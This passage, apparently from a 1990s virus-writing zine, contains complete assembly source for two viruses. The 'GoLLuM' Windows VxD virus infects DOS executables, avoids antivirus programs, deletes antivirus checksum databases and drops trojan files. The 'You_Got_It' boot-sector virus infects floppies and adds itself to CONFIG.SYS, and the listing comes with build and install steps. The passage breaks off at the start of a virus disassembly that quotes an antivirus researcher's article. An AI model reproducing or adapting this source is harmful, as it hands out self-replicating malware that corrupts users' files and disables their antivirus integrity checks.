;Aaaarrrgggghhhhh!!!!
jmp Dead_Zone

;Text printed on screen


Gollum_Says db "GoLLum!"

vxdstub endp
_TEXT ends
end vxdstub

; - -[WGOLLUM.ASM - VxD virus code] - - - - - - - - - - - - - - - - - - ->8

.386p
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Includes ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

.XLIST
INCLUDE Vmm.Inc
INCLUDE SheLL.Inc
.LIST

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virtual device declaration ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Declare_Virtual_Device WGoLLuM,03h,00h,WGoLLuM_Control,Undefined_Device_ID,,,

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Initialization data segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

VxD_IDATA_SEG

VxD_Installation_Title db "GoLLuM ViRuS by GriYo/29A",00h


VxD_Installation_Msg db "Deep down here by the dark water lived old "
db "Gollum, a small slimy creature. I dont know "
db "where he came from, nor who or what he was. "
db "He was a Gollum -as dark as darkness, except "
db "for two big round pale eyes in his thin face."
db 0Dh,0Ah,0Dh,0Ah
db "J.R.R. ToLkieN ... The HoBBit"
db 0Dh,0Ah,0Dh,0Ah
db 00h

VxD_IDATA_ENDS

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Local locked data segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

VxD_LOCKED_DATA_SEG

Header_Size equ 001Ch ;Dos .EXE header size


VxD_Size equ 6592 ;VxD file size
ALIGN DWORD
DOS_Virus_Code equ this byte ;Start of Dos virus code
include gollum.inc ;Load Dos virus code
Header_Copy db Header_Size dup (00h) ;Buffer for old .EXE header
DOS_Virus_End equ this byte
DOS_Virus_Size equ (DOS_Virus_End-DOS_Virus_Code)
Our_Own_Call_Flag db "EERF" ;Dos call from virus?
File_Size dd 00000000h ;Size of file to infect
Start_FileName dd 00000000h ;Filename start
VxD_Buffer db 0200h dup (00h) ;VxD file copy
Infect_FileName db 80h dup (00h) ;Last executed file
File_Header db Header_Size dup (00h) ;Infected .EXE header
VxD_File_Name db 80h dup (00h) ;Path of virus VxD
Gollum_Name db "GOLLUM.386",00h ;Name of virus VxD file
Trojan_File_Name db "GOLLUM.EXE",00h ;Generated trojans
CheckSum_File_00: db "ANTI-VIR.DAT",00h ;Names of av databases
CheckSum_File_01: db "CHKLIST.TAV",00h
CheckSum_File_02: db "CHKLIST.MS",00h
CheckSum_File_03: db "AVP.CRC",00h
CheckSum_File_04: db "IVB.NTZ",00h
Gollum_Handle dw 0000h ;VxD file handle
Victim_Handle dw 0000h ;Victim file handle
File_Attr dw 0000h ;Victim file attr
File_Time dw 0000h ;Victim file time
File_Date dw 0000h ;Victim file date

VxD_LOCKED_DATA_ENDS

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Initialization code segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

VxD_ICODE_SEG

;This is the virus startup code (Sys_Critical_Init)


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

BeginProc WGoLLuM_Sys_Critical_Init

;Get path of WIN386.EXE


VMMCall Get_Exec_Path
;Copy path to our buffer
mov esi,edx
mov edi,OFFSET32 VxD_File_Name
cld
rep movsb
mov esi,OFFSET32 Gollum_Name
mov ecx,0Bh
cld
rep movsb
;Return, Sys_Critical_Init complete
clc
ret

EndProc WGoLLuM_Sys_Critical_Init

;This is the virus startup code (Device_Init)


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

BeginProc WGoLLuM_Device_Init

;Hook int 21h so we can monitor dos file operations


mov eax,21h
mov esi,OFFSET32 VxD_Int_21h
VMMcall Hook_V86_Int_Chain
clc
ret

EndProc WGoLLuM_Device_Init

;This is the virus startup code (Init_Complete)


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

BeginProc WGoLLuM_Init_Complete

;Check current date


mov ah,04h
VxDint 1Ah
cmp dx,0604h
jne short Not_Yet
;Display instalation msg
VMMCall Get_SYS_VM_Handle
xor eax,eax
mov ecx,OFFSET32 VxD_Installation_Msg
mov edi,OFFSET32 VxD_Installation_Title
VxDcall Shell_SYSMODAL_Message
Not_Yet:
;Return, Sys_Critical_Init complete
clc
ret

EndProc WGoLLuM_Init_Complete

VxD_ICODE_ENDS

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Locked code segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

VxD_LOCKED_CODE_SEG

;This is a call-back routine to handle the messages that are sent


;to VxD's to control system operation
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

BeginProc WGoLLuM_Control

Control_Dispatch Sys_Critical_Init, WGoLLuM_Sys_Critical_Init


Control_Dispatch Device_Init, WGoLLuM_Device_Init
Control_Dispatch Init_Complete, WGoLLuM_Init_Complete
clc
ret

EndProc WGoLLuM_Control

;This is the virus int 21h handler


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

BeginProc VxD_Int_21h, High_Freq

;Save regs
pushad
;Check for our own calls (avoid recursive int 21h calls)
cmp dword ptr [Our_Own_Call_Flag],"BUSY"
je short Exit_VxD_Int_21h
;Set flag
mov dword ptr [Our_Own_Call_Flag],"BUSY"
;Get called function
mov ax,word ptr [ebp.Client_AX]
;Check for Exec function calls
cmp ax,4B00h
je short Store_FileName
;Check for Terminate with error-code 00h function calls
cmp ax,4C00h
je short Infect_Stored_FileName
cmp ah,3Bh
je Drop_Exe_Trojan
Exit_VxD_Int_21h:
;Clear flag
mov dword ptr [Our_Own_Call_Flag],"FREE"
;Restore regs
popad
;Int not served yet
stc
ret

;Save file name for later infection


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Store_FileName:
;Save filename into our buffer
movzx edx,word ptr [ebp.Client_DX]
movzx eax,word ptr [ebp.Client_DS]
shl eax,04h
add eax,edx
mov esi,eax
mov edi,OFFSET32 Infect_FileName
Go_Thru_Filename:
cld
lodsb
stosb
or al,al
jnz Go_Thru_Filename
jmp Exit_VxD_Int_21h

;Infect stored file name


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Infect_Stored_FileName:
;Check if working on C: drive
mov esi,OFFSET32 Infect_FileName
cmp word ptr [esi],":C"
jne Infect_Error
Look_End:
;Find null marker into filename
cld
lodsb
or al,al
jnz Look_End
Found_Tail:
;Search begin of file name
dec esi
mov ecx,0080h
Look_Start:
std
lodsb
;Do not infect files with V character in their names
cmp al,"V"
je Infect_Error
;Do not infect files with digit in their names
cmp al,"0"
jb short Check_Start
cmp al,"9"
jbe Infect_Error
Check_Start:
cmp al,"\"
je short Check_Names
loop Look_Start
;Begin of file name not found, tchhh...
jmp Infect_Error
Check_Names:
inc esi
inc esi
;Save pointer to file name start
mov dword ptr [Start_FileName],esi
cld
lodsd
;Check for SCAN
cmp eax,"NACS"
je Infect_Error
;Check for F-PROT
cmp eax,"RP-F"
je Infect_Error
;Avoid THUNDERBYTE shit
cmp ax,"BT"
je Infect_Error
;Get file attr
mov ax,4300h
mov edx,OFFSET32 Infect_FileName
VxDint 21h
jc Infect_Error
;Save file attr
mov word ptr [file_attr],cx
;Wipe out attr
mov ax,4301h
xor cx,cx
VxDint 21h
jc Infect_Error
;Open file to infect
mov ax,3D02h
mov edx,OFFSET32 Infect_FileName
VxDint 21h
jc Restore_Attr
;Get file handler
mov word ptr [Victim_Handle],ax
xchg bx,ax
;Get file date/time
mov ax,5700h
VxDint 21h
jc Infect_Close
;Save file date time
mov word ptr [File_Time],cx
mov word ptr [File_Date],dx
;Read file header
mov ah,3Fh
mov ecx,Header_Size
mov edx,OFFSET32 File_Header
VxDint 21h
jc Restore_Date_Time
;Seek to EOF and get real file size
call Seek_File_End
jc Restore_Date_Time
;Do not infect too small files
cmp eax,DOS_Virus_Size+VxD_Size
jbe Restore_Date_Time
Test_EXE_File:
;Point esi to file header
mov esi,OFFSET32 File_Header
;Check dos .EXE file type mark
cmp word ptr [esi],"ZM"
jne Restore_Date_Time
;Check if file is infected
cmp word ptr [esi+12h],"CR"
je Restore_Date_Time
;Don't infect Windows files or above
cmp word ptr [esi+19h],0040h
jae Restore_Date_Time
;Don't infect overlays
cmp word ptr [esi+1Ah],0000h
jne Restore_Date_Time
;Check maxmem field
cmp word ptr [esi+0Ch],0FFFFh
jne Restore_Date_Time
;Save entry point
push eax
mov eax,dword ptr [esi+14h]
;Crypt it!
not eax
mov dword ptr [DOS_Virus_Code+0177h],eax
pop eax
;Make a copy of .exe file header
push esi
mov edi,OFFSET32 Header_Copy
mov ecx,Header_Size
Copy_Loop:
cld
lodsb
not al
stosb
loop Copy_Loop
pop esi
;Get file size into dx:ax
mov eax,dword ptr [File_Size]
mov edx,eax
shr edx,10h
;Get file size div 10h
mov cx,0010h
div cx
;Sub header size
sub ax,word ptr [esi+08h]
;New entry point at EOF
mov word ptr [esi+14h],dx
mov word ptr [esi+16h],ax
;Save delta offset
mov word ptr [DOS_Virus_Code+0001h],dx
;Set new offset of stack segment in load module
inc ax
mov word ptr [esi+0Eh],ax
;Set new stack pointer beyond end of virus
add dx,DOS_Virus_Size+VxD_Size+0200h
;Aligment
and dx,0FFFEh
mov word ptr [esi+10h],dx
;Get file size into dx:ax
mov eax,dword ptr [File_Size]
mov edx,eax
shr edx,10h
;Get file size div 0200h
mov cx,0200h
div cx
or dx,dx
jz short Size_Round_1
inc ax
Size_Round_1:
;Check if file size is as header says
cmp ax,word ptr [esi+04h]
jne Restore_Date_Time
cmp dx,word ptr [esi+02h]
jne Restore_Date_Time
;Get file size into dx:ax
mov eax,dword ptr [File_Size]
mov edx,eax
shr edx,10h
;Add virus size to file size
add ax,DOS_Virus_Size+VxD_Size
adc dx,0000h
;Get infected file size div 0200h
mov cx,0200h
div cx
or dx,dx
jz short Size_Round_2
inc ax
Size_Round_2:
;Store new size
mov word ptr [esi+02h],dx
mov word ptr [esi+04h],ax
;Write DOS virus area next to EOF
mov ah,40h
mov ecx,DOS_Virus_Size
mov edx,OFFSET32 DOS_Virus_Code
VxDint 21h
jc Restore_Date_Time
;Open Gollum VxD file
mov ax,3D00h
mov edx,OFFSET32 VxD_File_Name
VxDint 21h
jc Restore_Date_Time
;Save file handler
mov word ptr [Gollum_Handle],ax
Read_VxD_Block:
;Read VxD file block
mov ah,3Fh
mov bx,word ptr [Gollum_Handle]
mov ecx,0200h
mov edx,OFFSET32 VxD_Buffer
VxDint 21h
push eax
;Encrypt block
mov esi,edx
mov edi,edx
mov cx,0200h
Crypt_Loop_3:
cld
lodsb
not al
stosb
loop Crypt_Loop_3
;Write block
pop ecx
mov ah,40h
mov bx,word ptr [Victim_Handle]
VxDint 21h
cmp cx,0200h
je Read_VxD_Block
;Close file
mov bx,word ptr [Gollum_Handle]
mov ah,3Eh
VxDint 21h
;Seek to beginning of file
mov bx,word ptr [Victim_Handle]
call Seek_File_Start
;Mark file as infected
mov esi,OFFSET32 File_Header
mov word ptr [esi+12h],"CR"
;Write new header
mov ah,40h
mov cx,Header_Size
mov edx,esi
VxDint 21h
;Delete ANTI-VIR.DAT
mov esi,OFFSET32 CheckSum_File_00
call Delete_File
;Delete CHKLIST.TAV
mov esi,OFFSET32 CheckSum_File_01
call Delete_File
;Delete CHKLIST.MS
mov esi,OFFSET32 CheckSum_File_02
call Delete_File
;Delete AVP.CRC
mov esi,OFFSET32 CheckSum_File_03
call Delete_File
;Delete IVB.NTZ
mov esi,OFFSET32 CheckSum_File_04
call Delete_File
Restore_Date_Time:
mov ax,5701h
mov cx,word ptr [File_Time]
mov dx,word ptr [File_Date]
VxDint 21h
Infect_Close:
;Close file
mov ah,3Eh
VxDint 21h
Restore_Attr:
;Restore file attr
mov ax,4301h
mov cx,word ptr [File_Attr]
mov edx,OFFSET32 Infect_FileName
VxDint 21h
Infect_Error:
jmp Exit_VxD_Int_21h

;Drop a trojan .EXE file (sometimes)


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Drop_Exe_Trojan:
;This is our dice
in ax,40h
cmp al,0FFh
jne Bad_OverWrite
;Open Gollum VxD file
mov ax,3D00h
mov edx,OFFSET32 VxD_File_Name
VxDint 21h
jc Bad_OverWrite
;Save file handler
mov word ptr [Gollum_Handle],ax
;Create file, abort if exist
mov ah,5Bh
xor cx,cx
mov edx,OFFSET32 Trojan_File_Name
VxDint 21h
jc short Bad_OverOpen
;Save file handler
mov word ptr [Victim_Handle],ax
Trojanize_Block:
;Read VxD file block
mov ah,3Fh
mov bx,word ptr [Gollum_Handle]
mov ecx,0200h
mov edx,OFFSET32 VxD_Buffer
VxDint 21h
;Write block
xchg ecx,eax
mov ah,40h
mov bx,word ptr [Victim_Handle]
VxDint 21h
cmp cx,0200h
je Trojanize_Block
;Close trojan file
mov ah,3Eh
VxDint 21h
Bad_OverOpen:
;Close virus VxD file
mov bx,word ptr [Gollum_Handle]
mov ah,3Eh
VxDint 21h
Bad_OverWrite:
jmp Exit_VxD_Int_21h

;Delete file routines


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Delete_File:
mov edi,dword ptr [Start_FileName]
Copy_DB_Name:
cld
lodsb
stosb
or al,al
jnz Copy_DB_Name
;Wipe out file attr
mov ax,4301h
xor ecx,ecx
mov edx,OFFSET32 Infect_FileName
VxDint 21h
;Delete filename
mov ah,41h
VxDint 21h
ret

;Move file pointer routines (bx = file handle)


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Seek_File_Start:
xor al,al
jmp SHORT Seek_Int_21h
Seek_File_End:
mov al,02h
Seek_Int_21h:
mov ah,42h
xor cx,cx
xor dx,dx
VxDint 21h
jc short Seek_Error
;Return file pointer position into eax
and eax,0000FFFFh
shl edx,10h
add eax,edx
mov dword ptr [File_Size],eax
clc
ret
Seek_Error:
stc
ret

EndProc VxD_Int_21h

VxD_LOCKED_CODE_ENDS

END

; - -[ASSEMBLE.BAT - Batch file used to build GOLLUM.INC] - - - - - - - ->8

tasm gollum
tlink /Tde gollum
exe2bin gollum.exe gollum.bin
crypt
data gollum.crp gollum.inc
comment *

; Designed by "Q" the Misanthrope

; The "You_Got_It" virus needed to be made. Windows 95 has neglected the


; floppy boot sector virus long enough. Windows 95 in it's 32 bit protected
; mode has it's own floppy disk routines and doesn't use int 13 or int 40
; anymore. When a floppy boot sector viruses infectes the hard disk of the
; Windows 95 computer, it would flag a change in the MBR or DBR indicating
; a possible virus attack (not good). The conclusion, don't hook int 13, hook
; int 21. Problem is, when Windows 95 starts up, it starts in DOS mode then
; changes to it's protected mode DOS so int 21 hooked in DOS mode isn't hooked
; anymore. Many of the multipatrite virii will not infect once Windows 95
; starts. If your boot sector virus can infect a program called in your
; AUTOEXEC.BAT or your CONFIG.SYS then the virus would go resident. The
; "You_Got_it" virus does this. It creates a randomly named file and adds
; INSTALLH=\AKYTHSQW (name is random) to the CONFIG.SYS file. Now when
; Windows 95's int 21 is called to change the default drive to A: then the
; infection occures. Cool features: during boot up the virus moves into video
; memory then into the High Memory Area (HMA) when dos loads high. The virus
; tunnels int 21 and loads in the HMA with dos. Also the boot sector infection
; will not attack the CONFIG.SYS multiple times.

; P.S. This virus will not be detected by Thunderbytes TBRESCUE Boot sector
; detector or CMOS virus protection.

; tasm yougotit /m2


; tlink yougotit
; exe2bin yougotit.exe yougotit.com
; format a:/q/u
; debug yougotit.com
; l 300 0 0 1
; w 100 0 0 1
; w 300 0 20 1
; m 13e,2ff 100
; rcx
; 1c2
; w
; q
; copy yougotit.com c:\
; edit c:\config.sys
; device=\yougotit.com
; altf
; x
; y

.286

qseg segment byte public 'CODE'


assume cs:qseg,es:qseg,ss:nothing,ds:qseg

top: jmp short jmp_install ;boot sector data


db 90h
db 'MSDOS5.0'
dw 512
db 1
dw 1
db 2
dw 224
dw 2880
db 0F0h
dw 9
dw 18
dw 2

org 003eh

com_install proc near


jmp short go_mem_res
com_install endp

jmp_install proc near ;floppy boot up


push cs ;for the retf to 0000:7c00
id equ $+01h
mov si,7c00h ;7c00 is the infection marker
lea bx,word ptr ds:[si] ;bx=7c00
push bx ;for the retf to 0000:7c00
cld
push cs
mov es,bx ;if monochrome copy code to
pop ds ;7c00:7c00
cmp word ptr ds:[0449h],07h ;check if monochrome
je monochrome
push 0b700h ;lets reside in video memory
pop es ;no need for that TOM
cmp word ptr es:[si+id-top],si
monochrome: push es ;check if already mem resident
mov di,si ;di=7c00
mov cx,offset previous_hook ;copy loop varable
push cx ;save it because we will copy
push si ;the code twice to b700:7c00
rep movsb ;and b700:7dfe
pop si
pop cx
call return_far ;goto b700 segment of code
rep movsb ;continue copy to b700:7dfe
mov si,1ah*04h ;only hook int 1a
je already_res ;if already resident don't
movsw ;hook again
movsw
mov word ptr ds:[si-04h],offset interrupt_1a+7e00h-02h
mov word ptr ds:[si-02h],cs ;hook int 1a
already_res: push ds ;read moved floppy boot sector
pop es
mov ax,0201h
jmp_install endp

set_cx_dx proc near


mov bp,word ptr ds:[bx+11h] ;code to point to last sector
mov cx,word ptr ds:[bx+16h] ;of the root directory of any
shr bp,04h ;floppy disk
shl cx,01h
add cx,bp
inc cx
mov dh,01h
sub cx,word ptr ds:[bx+18h]
int 13h ;read or write boot sector
return_far: retf ;return to 7c00:0000 or
set_cx_dx endp ;resident_21 routine

config_line db "C:\CONFIG.SYS",00 ;file to infect


install_name db "INSTALL=" ;what to add
file_name db "\" ;random file name goes here
db 00h
crlf equ $+07h

go_mem_res proc near ;CONFIG.SYS residency


mov ax,3501h ;get int 1 address for tunnel
int 21h
mov dx,offset interrupt_1-com_install+100h
mov ah,25h ;set int 1 for tunnel
push es
int 21h
pop ds ;ds:dx will be to set it back
push 00h ;es=0000h
pop es
pushf ;simulate interrupt stack
lea dx,word ptr ds:[bx]
push cs
push es ;return to cs:0000 is cd 20
int 01h ;set trap flag
db 26h ;es: override in to int table
dw 02effh,21h*04h ;jmp far ptr es:[0084]
go_mem_res endp

interrupt_1 proc near ;set trap flag, trace int 21


pusha ;save varables
push sp
pop bp ;get pointer
push ds
push es
lds si,dword ptr ss:[bp+10h];get next instruction address
cmp word ptr ds:[si+01h],02effh
jne go_back ;check if jmp far ?s:[????]
cmp word ptr ds:[si-02h],001cdh
org $-02h ;see if called from my int 01
int 01h
je toggle_tf
mov si,word ptr ds:[si+03h] ;get address segment of jmp
cmp byte ptr ds:[si+03h],0f0h
jb go_back ;see if in HMA area
mov bx,((tail-com_install+10h)SHR 4)*10h
mov di,0ffffh ;allocate HMA area for virus
mov ax,4a02h
int 2fh
inc di ;is HMA full
jz toggle_tf ;if so then just don't bother
push si ;move the virus to the HMA
cld
mov cx,previous_hook-com_install
mov si,0100h ;copy virus to HMA
rep movs byte ptr es:[di],cs:[si]
pop si ;now hook the int 21 chain
movsw
movsw
lea di,word ptr ds:[di-(offset vbuffer-resident_21)]
mov word ptr ds:[si-04h],di ;point to resident 21 code
mov word ptr ds:[si-02h],es
toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle the trap flag
go_back: pop es
pop ds
popa
iret
interrupt_1 endp

interrupt_21 proc near ;hooked in after int 1a sees


pushf ;that dos loaded during boot
pusha
push ds
push es
push cs
pop ds
xor ah,4bh ;unload if a program starts
jz set_21_back
mov ax,3d42h ;open c:\config.sys
mov dx,offset config_line+7e00h-02h
int 18h ;really it is int 21
mov bx,5700h ;get date
xchg ax,bx
jc retry_later ;unable to open c:\config.sys
int 18h
or cl,cl ;is c:\config.sys infected
jz close_it
pusha ;save file date
mov ah,5ah ;create random file
mov cx,0005h
mov dx,offset file_name+7e00h-02h
int 18h
mov dx,offset com_install+7c00h
mov bh,40h ;write virus code into file
xchg ax,bx
mov ch,02h
int 18h
mov ah,3eh ;close it
int 18h
popa ;date and handle c:\config.sys
inc ax ;set date
pusha ;save it for later
mov ax,4202h ;go to end of c:\config.sys
cwd
push dx
pop cx
int 18h
mov ah,40h ;write INSTALL=\ line
mov word ptr ds:[crlf+7e00h-02h],0a0dh
mov cl,low(crlf-install_name+02h)
mov dx,offset install_name+7e00h-02h
int 18h ;be sure to cr lf terminate it
popa ;get file date
shr cl,cl ;blitz seconds and more
int 18h
close_it: mov ah,3eh ;close c:\config.sys
int 18h
set_21_back: lds dx,dword ptr ds:[previous_hook+7c00h]
jmp short set_int_21 ;unhook it 21
retry_later: jmp short jmp_pop_it
interrupt_21 endp

interrupt_1a proc near ;hooked at boot and waits for


pushf ;dos to load
pusha
mov ax,1200h ;dos loaded
push ds
push es
cwd
int 2fh
inc al
jnz jmp_pop_it ;and unhook int 1a
mov ds,dx ;if loaded then hook int 21
mov si,21h*04h ;sorry for all the complexity
mov di,offset previous_hook+7c00h
les bx,dword ptr cs:[previous_hook+7e00h-02h]
mov ds:[si-((21h-1ah)*04h)+02h],es
mov ds:[si-((21h-1ah)*04h)],bx
les bx,dword ptr ds:[si]
mov ds:[si-((21h-18h)*04h)+02h],es
push cs ;also save int 21 into int 18
cld
mov ds:[si-((21h-18h)*04h)],bx
pop es
movsw
movsw
mov dx,offset interrupt_21+7c00h
push cs ;set int 21
pop ds
set_int_21: mov ax,2521h
int 18h
jmp_pop_it: jmp short pop_it
interrupt_1a endp

org 001b4h

resident_21 proc near ;memory resident int 21


pushf ;called when loaded from
pusha ;config.sys
push ds
push es
cmp ah,0eh ;is it set drive
jne pop_it
or dl,dl ;drive A:
jnz pop_it
cwd ;set varables to read sector
call next_line
next_line: pop bx
add bx,offset vbuffer-next_line
push cs
mov cx,0001h
pop es
push cs
mov ax,0201h ;try reading the boot sector
pop ds
int 13h
jc pop_it ;if not don't infect
cmp byte ptr ds:[bx+id-top+01h],7ch
je pop_it ;check if infected
mov ax,0301h ;move and write boot sector
pusha ;save for later
push cs ;for far retf
call set_cx_dx
cld
mov cx,previous_hook-com_install
lea si,word ptr ds:[bx-offset (vbuffer-com_install)]
lea di,word ptr ds:[bx+com_install-top]
rep movsb
mov word ptr ds:[bx],0000h
org $-02h
jmp $(jmp_install-top) ;place initial jmp at front
popa
int 13h ;write it
pop_it: pop es
pop ds
popa
popf
resident_21 endp

org 001fdh

far_jmp proc near


db 0eah ;jmp to old int 1a or boot
previous_hook: label double ;up int 21 or resident int 21
far_jmp endp

boot_signature dw 0aa55h ;guess what

org $+02h
vbuffer label byte ;buffer to read boot sector

org $+0202h ;the end of the code


tail label byte

qseg ends
end
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ PM.Wanderer ³
; ³ Disassembled by ³
; ³ Tcp/29A ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
; This is one of the very few DOS viruses which use protected mode in order
; to perform its functioning and the first to do it in a pretty effective
; way. It appears encrypted in files by means of a polymorphic engine, whose
; garbage generator i've kinda liked, based in a table and a decoder of the
; contents of that table. This makes the engine pretty flexible as it's pos-
; sible to add entries to the table, being able to make the generated garba-
; ge much more confusing, without having to modify anything else.
;
; However the most notorious feature in this virus is the way it works under
; protected mode. I've included below an article written by the AVer (DrWeb)
; Igor Daniloff for VirusBulletin in which he makes a pretty good descrip-
; tion of the functioning of this part of the virus. Anyway there are some
; errors in the text, so i've commented them with (* *).
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Protected Mode Supervisor?
;
; Igor Daniloff
; DialogueScience
;
; Since their introductions, PCx have become increasingly complex through
; advances in both hardware and software. Computer viruses are also becoming
; more complex and intricate as their authors try to adapt them to changes
; in the computer environment.
;
; Now there are viruses that infect PC boot sectors of disks, DOS, Windows,
; Windows'95, OS/2, and Linux program files, as well as documents created in
; Word and Excel. Virus authors have devised stealth tecniques to help avoid
; detection, and anti-debugging and anti-virus mechanismes to make initial
; detection, then analysis more difficult. They have incorporated
; polymorphism in boot sectors, files, and memory to make detection more
; laborious and time-consuming for anti-virus designers. Since the release
; of i386 processors, viruses have begun to use 32-bit instructions in their
; codes. Some polymorphic viruses employ 32-bit operands in their decryptors.
;
; Unfortunately, viruses aim to survive and gain the upper hand under the
; existing conditions, using all conceivable software and hardware
; techniques. With the emergence of 286, and later 32-bit i386 processors,
; came protected (or virtual) operation mode. Thus far, virus authors have
; not successfully harnessed protected mode. Some have tried to master it,
; but their attempts have been unsuccessful because of changes with important
; operating system components.
;
; In 1994, the boot virus PMBS was the first to tackle protected mode, but
; could not cope with other applications or drivers (EMM386, Windows, OS/2)
